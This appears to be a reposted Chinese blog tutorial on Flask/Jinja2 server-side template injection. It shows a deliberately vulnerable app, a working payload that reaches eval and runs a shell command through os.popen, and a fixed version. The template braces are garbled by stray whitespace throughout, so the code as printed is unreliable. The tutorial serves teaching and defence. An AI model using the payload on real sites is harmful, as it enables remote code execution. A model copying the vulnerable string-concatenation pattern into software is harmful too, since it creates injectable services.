Flask(Jinja2)--ssti(服务端模板注入漏洞)

在这里插入图片描述

参考文章:https://www.jianshu.com/p/a1d6ae580add

基础知识

什么是Flask?

Flask 是一个使用 Python 编写的轻量级 Web 应用框架。其 WSGI 工具箱采用 Werkzeug ,模板引擎则使用 Jinja2 。
Flask 为你提供工具,库和技术来允许你构建一个 web 应用程序。这个 web 应用程序可以是一些 web 页面、博客、wiki、基于 web 的日历应用或商业网站。

from flask import Flask
app = Flask(__name__)
@app.route("/")
def hello():    
    return "Hello World!"
 
if __name__ == "__main__":
    app.run()


简单说下上面代码,第1-2行是初始化过程。3-5行简单讲就是当访问 http://xxx.xx.xx/ 时,使用hello函数进行处理响应。


Jinja2简介

Jinja 2是一种面向Python的现代和设计友好的模板语言,它是以Django的模板为模型的。Jinja支持python语句


Jinja2 模版部分语法
变量
Jinja2 使用{ {name}}结构表示一个变量,它是一种特殊的占位符,告诉模版引擎这个位置的值从渲染模版时使用的数据中获取
Jinja2 能识别所有类型的变量,甚至是一些复杂的类型,例如列表、字典和对象。此外,还可使用过滤器修改变量,过滤器名添加在变量名之后,中间使用竖线分隔。例如,下述模板以首字母大写形式显示变量name的值。

Hello, {
    
    {
    
     name|capitalize }}

if&for语句
if语句简单示例

{
    
    % if user %}
     Hello,{
    
    {
    
    user}} !
{
    
    % else %}
     Hello,Stranger!
{
    
    % endif %}

for语句循环渲染一组元素

<ul>
     {
    
    % for comment in comments %}
         <li>{
    
    {
    
    comment}}</li>
     {
    
    % endfor %}
</ul>

漏洞原理

源码(app.py

from flask import Flask, request
from jinja2 import Template

app = Flask(__name__)

@app.route("/")
def index():
    name = request.args.get('name', 'guest')

    t = Template("Hello " + name)
    return t.render()

if __name__ == "__main__":
    app.run()

test

在这里插入图片描述
在这里插入图片描述

漏洞利用


利用官网提供的poc

{
    
    % for c in [].__class__.__base__.__subclasses__() %}
{
    
    % if c.__name__ == 'catch_warnings' %}
  {
    
    % for b in c.__init__.__globals__.values() %}
  {
    
    % if b.__class__ == {
    
    }.__class__ %}
    {
    
    % if 'eval' in b.keys() %}
      {
    
    {
    
     b['eval']('__import__("os").popen("id").read()') }}
    {
    
    % endif %}
  {
    
    % endif %}
  {
    
    % endfor %}
{
    
    % endif %}
{
    
    % endfor %}

在这里插入图片描述

漏洞修复

from flask import Flask, request
from jinja2 import Template

app = Flask(__name__)

@app.route("/safe")
def index():
    name = request.args.get('name', 'guest')

    t = Template("Hello,{
    
    {n}} ")
    return t.render(n=name)

if __name__ == "__main__":
    app.run()

上面修改后代码第6行,将其路由到/safe页面进行访问测试,可以看到原本存在的代码注入漏洞就不存在了

扫描二维码关注公众号,回复: 12971724 查看本文章

猜你喜欢

转载自blog.csdn.net/qq_25504829/article/details/115285046